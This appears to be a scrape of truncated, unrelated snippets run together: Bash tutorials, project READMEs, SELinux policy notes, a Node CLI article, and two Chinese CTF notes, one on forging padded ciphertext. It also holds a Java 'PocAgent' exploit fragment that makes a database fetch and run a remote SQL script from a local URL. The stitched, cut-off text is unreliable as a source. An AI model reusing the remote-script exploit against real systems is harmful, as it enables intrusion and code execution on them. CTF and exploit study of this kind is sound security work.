Welcome to the Bash for Beginners Series where you will learn the basics of Bash scripting. In this video, Gwyn puts together several concepts we've covered in previous videos into one more complex and complete Bash script. We'll see how to use condition
A particular barrier keeping me from writing my own shell scripts for a long time was that I didn’t know how torun, or execute, them. At the time, this seemed like something obvious that I should know, and I felt ashamed. Now, I know that, depending on how someone has arrived at ...
README Code of conduct Security jb=javascript+bash #!/usr/bin/env jb $`ls -l` var output = $1`whoami` $(`echo ${output}`) Bash is great, but when it comes to writing more complex scripts, many people prefer a more convenient programming language. JavaScript is a perfect choice. Th...
Repository files navigation READMEbashblog A single Bash script to create blogs.I created it because I wanted a very, very simple way to post entries to a blog by using a public folder on my server, without any special requirements and dependencies. Works on GNU/Linux, OSX and BSD.How...
Generating a policy template Thesepolicy generatetool provided by thepolicycoreutils-develpackage helps you to perform the initial step. The tool generates a basic policy module, a Makefile, and a setup script. The script builds and installs the policy module, and relabels paths defined in the ...
Dockerfile里面有这样一句make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"因,这里"'\"/tmp\"'"是用\转移了双引号,实际上是套了三层,最外层因为ME_GOAHEAD_UPLOAD_DIR是个字符串要加双引号,然后在shell中传参又会去掉一层引号,最后在代码中又是作为一个字符串,因此是三层引号,看起来就不太好懂的...
msg = self.unpad(msg) if msg == 'please send me your flag': 不一定要msg是'please send me your flag'+'x08'*8后面还可以加一个16字节的,最后伪造成这样'please send me your flag'+'A'*23+'x18'这个也能满足:然后就要把那些A换成一些其它的值,使得能通过这个条件:if self.code(msg) == ...
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMEDpublicclassPocAgent{publicstaticvoidmain(String[]args)throwsException{gen("runscript from 'http://localhost:8000/localhost.sql'");...
Previously, I would have used a small Ruby script to automate this. Ruby was the first programming language I learned and is ideally suited to such tasks. However, we recently published an article onusing Node to create a command-line interface. This article served to remind me that JavaScrip...
A pipe is made up of a few different files: A script, or binary, the code that performs the task. A Dockerfile, which tells us how to build the Docker container that runs your script. (Optional) metadata and readme docs, to make your pipe easy to understand. ...